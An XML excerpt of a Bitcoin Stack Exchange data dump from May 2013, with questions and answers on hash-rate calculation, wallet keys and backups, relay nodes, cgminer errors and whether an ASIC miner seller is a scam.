  <row Id="11135" PostTypeId="2" ParentId="11134" CreationDate="2013-05-23T06:56:54.513" Score="4" Body="&lt;p&gt;By simply adding &lt;code&gt;addnode=68.168.105.168&lt;/code&gt; to your &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;bitcoin.conf&lt;/a&gt; file then any transaction you send will automatically be broadcast and eventually make it into a block. No one but you has to add this node and nothing special needs to be done beyond this one configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it may be true that the bitcoin-qt client will not actually allow you to send a transaction that is against its own rules, I'm not sure as I've never tried, but if this is the case you will need a non-standard client which is another question entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: May 2015, 68.168.105.168 is the only Eligius relay IP I can find that's active&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="25126" LastEditDate="2015-05-11T15:25:52.507" LastActivityDate="2015-05-11T15:25:52.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11136" PostTypeId="1" CreationDate="2013-05-23T07:27:39.467" Score="1" ViewCount="238" Body="&lt;p&gt;Trying to get stratum working on my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start the server everything looks ok except I get this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;***** Is service_repository missing? Add service_repository module to your python path!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clients can connect on port 3333 but instantly get disconnected. I suspect it is to do with the error above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot seem to find any service_repository - so dont know what path to add to my PYTHONPATH?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2013-05-23T07:27:39.467" Title="Stratum service_repository missing" Tags="|stratum|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11139" PostTypeId="1" AcceptedAnswerId="11142" CreationDate="2013-05-23T08:37:20.477" Score="14" ViewCount="26696" Body="&lt;p&gt;Miners work on finding blocks but don't sent anything until they find the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that, how can sites like &lt;a href=&quot;http://bitcoincharts.com/bitcoin/&quot;&gt;bitcoincharts.com&lt;/a&gt; display a graph of the network hash rate?&lt;/p&gt;&#xA;" OwnerUserId="4783" LastActivityDate="2017-06-28T20:37:33.850" Title="How is the network hash rate calculated?" Tags="|hash|charts|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11140" PostTypeId="2" ParentId="11139" CreationDate="2013-05-23T08:44:02.123" Score="7" Body="&lt;p&gt;The network hash rate can be statistically inferred from the difficulty and the rate at which blocks are found. It's just a more complex version of the fact that if you know that someone is flipping coins and heads comes up 800 times an hour, they're flipping about 1,600 coins an hour.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-05-23T08:44:02.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11141" PostTypeId="2" ParentId="11131" CreationDate="2013-05-23T08:45:22.630" Score="1" Body="&lt;p&gt;Yes. Otherwise, the cost to transfer the Bitcoins (when you want to spend them) will wind up equaling or exceeding their value.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-05-23T08:45:22.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11142" PostTypeId="2" ParentId="11139" CreationDate="2013-05-23T08:56:11.917" Score="21" Body="&lt;p&gt;The hashrate can be calculated from the expected rate of finding a block (144 a day), the actual rate of finding a block and the current difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's calculate the average hash_rate for a single day:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;expected_blocks = 144&#xA;difficulty = 11187257.461361 # this is on May 22nd 2013&#xA;blocks_found = 155 # Also May 22nd 2013&#xA;hash_rate = (blocks_found/expected_blocks*difficulty * 2**32 / 600)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason we use a day to average out the hash_rate is that taken block by block the variance would be really high and we would not get anything meaningful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://www.wolframalpha.com/input/?i=%28155/144%2a11187257.461361%20%2a%202%2a%2a32%20/%20600%29%20byte%20/%20second&quot;&gt;WolframAlpha&lt;/a&gt; this gives us an averagge hash_rate for the 22nd May 2013 of 86.19 THashes/s. Numbers of course may vary depending on how you chose your interval, which appears to be the reason numbers don't match with the ones on &lt;a href=&quot;http://blockchain.info/charts/hash-rate&quot;&gt;Blockchain.info&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-05-23T08:56:11.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11144" PostTypeId="2" ParentId="11115" CreationDate="2013-05-23T10:36:34.370" Score="7" Body="&lt;p&gt;You can use &lt;a href=&quot;http://ufasoft.com/coin/&quot;&gt;UFASoft Coin&lt;/a&gt;. Which is a multi currency client and miner. Also it's open source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The supported currencies are.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin - BTC&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin-testnet&lt;/li&gt;&#xA;&lt;li&gt;Namecoin - NMC&lt;/li&gt;&#xA;&lt;li&gt;Litecoin - LTC&lt;/li&gt;&#xA;&lt;li&gt;PPCoin - PPC&lt;/li&gt;&#xA;&lt;li&gt;NovaCoin - NVC&lt;/li&gt;&#xA;&lt;li&gt;TerraCoin - TRC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will essentially keep all your wallets in one application, so no more have 6 different wallets and clients. Then forgetting to start certain ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a side note regarding the performance of mining directly from the program: I have found it to be slower, around 10-30% slower than other miners.&lt;/p&gt;&#xA;" OwnerUserId="5061" LastActivityDate="2013-05-23T10:36:34.370" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11145" PostTypeId="2" ParentId="11117" CreationDate="2013-05-23T11:13:37.007" Score="1" Body="&lt;p&gt;The network doesn't &quot;throttle&quot; the blocks found. Rather, it simply doesn't change the difficulty by a factor of more than x4 in every adjustment (which is once every 2016 blocks). There is no limit on the rate of block generation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you were in an equilibrium where a block is found every 10 minutes. Right after a difficulty adjustment, more power joins the network and the hashrate is x100 the original. The difficulty didn't change yet so now a block will be found every 6 seconds. This will go on for 2016 blocks (~3 hours) and then the difficulty will go up by x4. Now a block will be found every 24 seconds; after 2016 more blocks (~13 hours) the difficulty will go up again by x4. Then a block will be found every 96 seconds, for 53 hours; then a block will be found every 384 seconds, for 215 hours; then the hardcoded limit will not be active, the difficulty will go up by a factor of (600/384), and now a block will be found every 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In those times that the total hashrate is too high for the current difficulty, the level of forking will be as if the time constant was shorter. So forking will indeed be high if the total hashrate has just rapidly increased.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-05-23T11:13:37.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11146" PostTypeId="1" CreationDate="2013-05-23T11:56:47.237" Score="2" ViewCount="596" Body="&lt;p&gt;I'm thinking about ordering two 63 GH/s Bitcoin miner's from Anamurminers.com Also see: &lt;a href=&quot;http://anamurminers.com/asic-miner&quot; rel=&quot;nofollow&quot;&gt;http://anamurminers.com/asic-miner&lt;/a&gt;. Can this company be trusted? They say they can ship two to the UK straight away.&lt;/p&gt;&#xA;" OwnerUserId="5187" LastEditorUserId="5406" LastEditDate="2016-04-09T07:39:32.773" LastActivityDate="2016-04-09T07:39:32.773" Title="Can anamurminers.com be trusted?" Tags="|mining-hardware|fraud|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11149" PostTypeId="2" ParentId="11146" CreationDate="2013-05-23T16:09:18.523" Score="6" Body="&lt;p&gt;There's no way this is legitimate.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Domain is less than a month old&lt;/li&gt;&#xA;&lt;li&gt;All product photos can be found elsewhere on the web. &lt;a href=&quot;http://www.stss.ru/products/workstations/tesla/RX240T8.2.html&quot;&gt;http://www.stss.ru/products/workstations/tesla/RX240T8.2.html&lt;/a&gt; &lt;a href=&quot;http://www.fractal-design.com/?view=product&amp;amp;prod=94&quot;&gt;http://www.fractal-design.com/?view=product&amp;amp;prod=94&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Address/phone number/name on Contact Us page differs from address/phone number/name on WHOIS record.&lt;/li&gt;&#xA;&lt;li&gt;They say their miner connects over USB. However, they don't have any drivers for it on their website, or say what OS it works with.&lt;/li&gt;&#xA;&lt;li&gt;They said that they're too busy to take a video, or post an non stock-photo image, but they would in a week. They said that 10 days ago.&lt;/li&gt;&#xA;&lt;li&gt;They &lt;a href=&quot;http://anamurminers.com/index.php?route=information/information&amp;amp;information_id=4&quot;&gt;claimed&lt;/a&gt; that they designed, wrote, sourced, soldered, and tested the whole thing, front to back, in 3 weeks. Then somebody on bitcointalk pointed that out, and now it took them 3 months! Still implausible, though. Unless you're willing to pay insane markups, your shortest turnaround time on an ASIC is around 6 months, and that's if you already have your design done.&lt;/li&gt;&#xA;&lt;li&gt;They offer local pickup (in the Czech Republic)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This gem:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Due to Czech law, we MUST, give you back your money even after 14 days, if you are not satisfied with the product.   &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I doubt that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So yeah. Scam. I'm guessing that Antonio Barreto is the brains of the operation, and Anamur Silif is the fall guy.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-05-23T16:22:08.620" LastActivityDate="2013-05-23T16:22:08.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11150" PostTypeId="1" AcceptedAnswerId="11153" CreationDate="2013-05-23T16:28:58.930" Score="4" ViewCount="1577" Body="&lt;p&gt;My understanding is that the blockchain records every transaction that has ever occurred, and that, when we say there are x amount of coins at address y, what we really mean is that the blockchain records transactions in which the difference between the total amount of Bitcoin going to that address and leaving that address is x.  In other words, it doesn't store the amount of Bitcoin at an address per se, but instead determines this by looking at transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my understanding of this is correct, then I don't understand how you are at risk of losing your Bitcoin if, for example, your hard drive crashes.  The blockchain would still be able to tell how much coin was at that address, so all you would need to be able to do is prove that that address belonged to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the problem is that the address goes away with the client and (most likely) the user didn't have their address memorized, then why not just add the ability to access the same address with more than one client?  This way, if, for example, they lost their client on their desktop at home, they could still look up their address on their client at work, on their laptop, etc, and be able to recover the 'lost' coin.&lt;/p&gt;&#xA;" OwnerUserId="4035" LastEditorUserId="15412" LastEditDate="2014-06-17T21:48:29.900" LastActivityDate="2017-12-22T03:10:38.753" Title="If the blockchain records all transactions, how does losing your wallet imply that you lose your Bitcoin?" Tags="|blockchain|client|lost-wallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11151" PostTypeId="2" ParentId="11150" CreationDate="2013-05-23T17:11:25.617" Score="3" Body="&lt;p&gt;If knowing your address was enough to spend coins sent to it, Bitcoin wouldn't be a very secure system, would it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With each address corresponds a private key, stored in your wallet.dat, to prove your ownership of that address. Losing the key means losing the ability to spend.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-05-23T17:11:25.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11152" PostTypeId="1" AcceptedAnswerId="11156" CreationDate="2013-05-23T17:59:25.037" Score="3" ViewCount="374" Body="&lt;p&gt;gmaxwell posted this a few years ago:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=53855.msg642768#msg642768&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=53855.msg642768#msg642768&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What became of the project?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2014-02-22T16:00:27.350" Title="Is Storj still alive as a project?" Tags="|bots|automation|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11153" PostTypeId="2" ParentId="11150" CreationDate="2013-05-23T18:03:46.503" Score="12" Body="&lt;p&gt;You've answered your own question - &quot;all you would need to be able to do is prove that that address belonged to you.&quot; To prove the address belongs to you you need the associated private key, which is secret and typically kept on your computer. If you lose your key you are no different than any other pretender to the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why you must back up your wallet file containing the keys, so should something happen to your computer you can still access the coins using your backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, this is a decentralized digital currency. There is no clerk you can go to with some documents who can authorize that this is your address. You must prove ownership in a universally verifiable digital way - by using your private key to provide a cryptographic signature.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-05-23T18:03:46.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11154" PostTypeId="2" ParentId="11150" CreationDate="2013-05-23T19:22:19.067" Score="2" Body="&lt;p&gt;There is nothing holding one back from running multiple clients with the same wallet.dat file, also keeping backups in safe places is not a bad idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As bitcoin is decentral there is no authority who you could proof the ownership of a bitcoin address. &lt;strong&gt;Its 100% on you to keep backups of your wallet.dat file&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-05-23T19:22:19.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11155" PostTypeId="2" ParentId="11146" CreationDate="2013-05-23T19:39:27.967" Score="1" Body="&lt;p&gt;Certainly nobody except the owner or local auditors can tell you if its a scam, all you can do is gather as much information as possible. &lt;strong&gt;Maybe the only real deal would be to visit the company locally or get documents that proof what they claim&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning the website, its a very basic opencart shop one can setup in 30 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is what i got on a fast search.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Information about us&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;www.anamurminers.com is a site operated by &lt;strong&gt;Anamur Silif, s.r.o.&lt;/strong&gt;&#xA;  (&quot;We&quot;); we are a company registered in Czech republic under&#xA;  registration number &lt;strong&gt;241 65 280&lt;/strong&gt;. Our registered office is Primátorská&#xA;  296/38, Prague 8   180 00.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;#&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The domain/hosting whois reveals:   Email Search: is associated with&#xA;  about 213,056 domains NS History: 3 changes on 4 unique name servers&#xA;  over 0 year. IP History: 3 changes on 4 unique IP addresses over 0&#xA;  years. Whois History: 13 records have been archived since 2013-05-04 .&#xA;  Reverse IP: 629 other sites hosted on this server. Log In or Create a&#xA;  FREE account to start monitoring this domain name Preview the complete&#xA;  Domain Report for anamurminers.com&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Registrant:  Anamur Silif s.r.o.  Kasparova 590  Liberec,  46312  CZ&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Domain name: ANAMURMINERS.COM&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Administrative Contact:&#xA;      Barreto, Antonio Joaquin&lt;br&gt;&#xA;      Kasparova 590&#xA;      Liberec,  46312&#xA;      CZ&#xA;      +420.774984192    Fax: +420.000000000&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Technical Contact:&#xA;      a.s., INTERNET CZ&lt;br&gt;&#xA;      Ktis 2&#xA;      Ktis,  384 03&#xA;      CZ&#xA;      +420.383835353    Fax: +420.383835354&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Registration Service Provider:&#xA;      INTERNET CZ, a.s., &#xA;      00420-38-3835353&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Registrar of Record: TUCOWS, INC.  Record last updated on&#xA;  10-May-2013.  Record expires on 30-Apr-2014.  Record created on&#xA;  30-Apr-2013.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Registrar Domain Name Help Center:&#xA;      &lt;a href=&quot;http://tucowsdomains.com&quot; rel=&quot;nofollow&quot;&gt;http://tucowsdomains.com&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Domain servers in listed order:&#xA;      NS2.GOSHAWK.ARVIXE.COM&lt;br&gt;&#xA;      NS1.GOSHAWK.ARVIXE.COM   &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Domain status: clientTransferProhibited&#xA;                  clientUpdateProhibited&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;#&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Google search on &lt;strong&gt;Anamur Silif, s.r.o&lt;/strong&gt;&#xA;  &lt;a href=&quot;https://www.google.com/search?q=Anamur+Silif%2C+s.r.o&amp;amp;ie=UTF-8&amp;amp;sa=Search&amp;amp;channel=fe&amp;amp;client=browser-ubuntu&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/search?q=Anamur+Silif%2C+s.r.o&amp;amp;ie=UTF-8&amp;amp;sa=Search&amp;amp;channel=fe&amp;amp;client=browser-ubuntu&amp;amp;hl=en&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;#&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;More lookups: &lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rejstrik.penize.cz/24165280-anamur-silif-s-r-o&quot; rel=&quot;nofollow&quot;&gt;http://rejstrik.penize.cz/24165280-anamur-silif-s-r-o&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.bizbiz.cz/v2/firmy/239749/anamur-silif-s-r-o&quot; rel=&quot;nofollow&quot;&gt;http://www.bizbiz.cz/v2/firmy/239749/anamur-silif-s-r-o&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://topkontakt.idnes.cz/f/anamur-silif-s-r-o/1945713/&quot; rel=&quot;nofollow&quot;&gt;http://topkontakt.idnes.cz/f/anamur-silif-s-r-o/1945713/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="2167" LastEditDate="2013-05-23T19:45:43.570" LastActivityDate="2013-05-23T19:45:43.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11156" PostTypeId="2" ParentId="11152" CreationDate="2013-05-23T21:26:28.870" Score="2" Body="&lt;p&gt;It doesn't look like he ever released any code.  I think StorJ was more a concept than anything else.  The whole autonomous self-replication thing is probably a long ways off, but it's a neat idea.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-05-23T21:26:28.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11157" PostTypeId="2" ParentId="11116" CreationDate="2013-05-23T21:56:59.773" Score="1" Body="&lt;p&gt;Check this suggestion from a member of Open Transactions using Bitmessage for trust-less decentralized exchange system&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=212490.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=212490.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-05-23T21:56:59.773" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11158" PostTypeId="1" AcceptedAnswerId="11181" CreationDate="2013-05-24T01:50:21.977" Score="5" ViewCount="1158" Body="&lt;p&gt;ASICMiner includes hex(Mined By ASICMiner) in the coinbase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to generate weekly statistics that include ASICMiner' solo-mining efforts, but I don't want to have to rely on blockchain.info or blockexplorer.com. Is there a way to use bitcoind commands to return the coinbase for a block of given height (or hash)?&lt;/p&gt;&#xA;" OwnerUserId="1611" LastEditorUserId="5406" LastEditDate="2016-03-31T17:13:59.597" LastActivityDate="2016-03-31T17:13:59.597" Title="Is there a way to find the coinbase for a given block using only bitcoind commands?" Tags="|bitcoind|blockchain|json-rpc|coinbase-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11161" PostTypeId="2" ParentId="1958" CreationDate="2013-05-24T04:39:29.650" Score="2" Body="&lt;p&gt;I tried to gather the most serious, interesting and long lasting ones on &lt;a href=&quot;http://bitcoin.gw.gd/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.gw.gd/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many sections, but the most important one is &lt;a href=&quot;http://bitcoin.gw.gd/-Bitcoin-News-&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.gw.gd/-Bitcoin-News-&lt;/a&gt;  , currently including the rss feeds from more than 40 websites including betabeat, wired, CNN and many others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This list is maintained and new websites are regularly added to the selection.&lt;/p&gt;&#xA;" OwnerUserId="558" LastActivityDate="2013-05-24T04:39:29.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11164" PostTypeId="2" ParentId="11121" CreationDate="2013-05-24T06:51:16.330" Score="2" Body="&lt;p&gt;ASICMINER management (generally friedcat on Bitcointalk) keeps records of all ownership of shares in their database. The only way to confirm ownership is either through friedcat's acknowledgment or by receipt of dividend payments. Share owners' bitcoin addresses are tied to their shares for dividend payouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a share owner wants to transfer his ownership to someone else, he must provide friedcat with the new bitcoin address. With auction sales, this is typically done through a third-party escrow service for the safety of both buyer and seller.&lt;/p&gt;&#xA;" OwnerUserId="774" LastActivityDate="2013-05-24T06:51:16.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11165" PostTypeId="2" ParentId="9032" CreationDate="2013-05-24T07:29:38.647" Score="2" Body="&lt;p&gt;Although it does not speak directly to programmers.&#xA;The Khan academy has got a great set of conceptual videos about bitcoin internals&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.khanacademy.org/science/core-finance/money-and-banking/bitcoin/v/bitcoin-what-is-it&quot; rel=&quot;nofollow&quot;&gt;https://www.khanacademy.org/science/core-finance/money-and-banking/bitcoin/v/bitcoin-what-is-it&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1473" LastActivityDate="2013-05-24T07:29:38.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11166" PostTypeId="2" ParentId="11121" CreationDate="2013-05-24T07:47:20.960" Score="1" Body="&lt;p&gt;ASICMINER sends 1 satoshi per share to the address that holds it. If you have 100 shares, you will be sent 100 satoshis every week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not effected by the coin dust limitations, nor miner fees, because ASICMINER mines their own blocks.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2013-05-24T07:47:20.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11167" PostTypeId="1" CreationDate="2013-05-24T08:54:39.410" Score="9" ViewCount="2730" Body="&lt;p&gt;Blockchain.info shows a transaction that was created by Blockchain.info/wallet but for whatever reason the transaction didn't confirm right away and appears to not be getting re-broadcast (perhaps because the transaction is more than a day old now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to recreate the transaction (reconstruct as an identical copy, resulting in the same transaction hash) using just the data shown from the blockchain.info website (the Input scripts and Output scripts from the transaction's view on the site) to construct a raw transaction that I can manually re-broadcast using &lt;a href=&quot;http://Blockchain.info/pushtx&quot;&gt;http://Blockchain.info/pushtx&lt;/a&gt; or &lt;a href=&quot;http://brainwallet.org/#tx&quot;&gt;http://brainwallet.org/#tx&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2015-07-11T14:57:16.800" Title="Can an unconfirmed transaction that only Blockchain.info shows be manually re-broadcast?" Tags="|transactions|blockchain.info|peers|raw-transaction|broadcast|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11170" PostTypeId="1" AcceptedAnswerId="11188" CreationDate="2013-05-24T11:44:27.517" Score="15" ViewCount="1266" Body="&lt;p&gt;I understand that Bitcoin scales in several meanings (&lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Scalability&quot;&gt;Scalability&lt;/a&gt;), and pruning is one important concept of it (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10333/blockchain-long-run-issue/10334#10334&quot;&gt;SE Question&lt;/a&gt;). I also understand that a &quot;Simplified Payment Verification&quot; (SPV) needs to trust a lot the peer he is obtaining the block chain from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A very conservative pruning (e.g. transactions older than six month and spent) wouldn't do much harm, especially when it would be only a configuration option for bitcoin-qt. That way the default is the full node, but it's easy to have a &quot;small node&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't see it coming anyhow soon. Is there a reason? Is it so important to have full nodes at the moment that the devs say &quot;either you go for all or nothing&quot;? Or is the development effort the bottleneck? IMHO a large network of non-SPV nodes is more important than a small network of full nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Let's put it more concrete: Is there a major security issue of &lt;strong&gt;not&lt;/strong&gt; having the complete transaction history of the world back to the genesis block?&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-06-20T19:52:46.227" Title="Why is pruning not considered already at the moment?" Tags="|network|nodes|pruning|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11171" PostTypeId="2" ParentId="11167" CreationDate="2013-05-24T12:57:39.263" Score="0" Body="&lt;p&gt;As far as I know, you unfortunately can't find the raw transaction anywhere on blockchain.info. Also, do note that &lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/#tx&lt;/a&gt; actually just uses pushtx. Anyway, even if you did have the raw transaction, you couldn't put it into &lt;a href=&quot;http://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/pushtx&lt;/a&gt; as long as it still appears on the bc.i website -- it would just reject it as a duplicate. If you did have the raw transaction, you could rebroadcast it through a client -- bitcoin-qt or bitcoind's sendrawtransaction RPC call, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: You can get the raw transaction from blockchain. Go to the transaction and put ?format=hex at the end of the URL&lt;/p&gt;&#xA;" OwnerUserId="1161" LastEditorUserId="-1" LastEditDate="2015-07-11T14:57:16.800" LastActivityDate="2015-07-11T14:57:16.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11172" PostTypeId="1" CreationDate="2013-05-24T13:31:51.017" Score="4" ViewCount="9253" Body="&lt;p&gt;Is Ripple a scam, as claimed by &lt;a href=&quot;http://ripplescam.org&quot; rel=&quot;nofollow&quot;&gt;a website&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=147789.0&quot; rel=&quot;nofollow&quot;&gt;forum thread&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2013-05-26T00:09:06.677" Title="Is Ripple a scam?" Tags="|ripple|" AnswerCount="7" CommentCount="3" ClosedDate="2013-05-27T15:51:22.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="11173" PostTypeId="1" CreationDate="2013-05-24T13:52:33.393" Score="1" ViewCount="9656" Body="&lt;p&gt;I am trying to run cgminer on Windows 7.  However every time I execute the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer --scrypt -o http://coinotron.com:3334 -u username -p pass  --thread-concurrency 8192 -I 10 -g 1 -w 256&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It says &lt;code&gt;access is denied&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="4803" LastEditorDisplayName="user1586" LastEditDate="2013-07-23T19:27:58.863" LastActivityDate="2014-12-19T05:05:53.403" Title="Troubleshooting &quot;access is denied&quot; error when running cgminer" Tags="|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
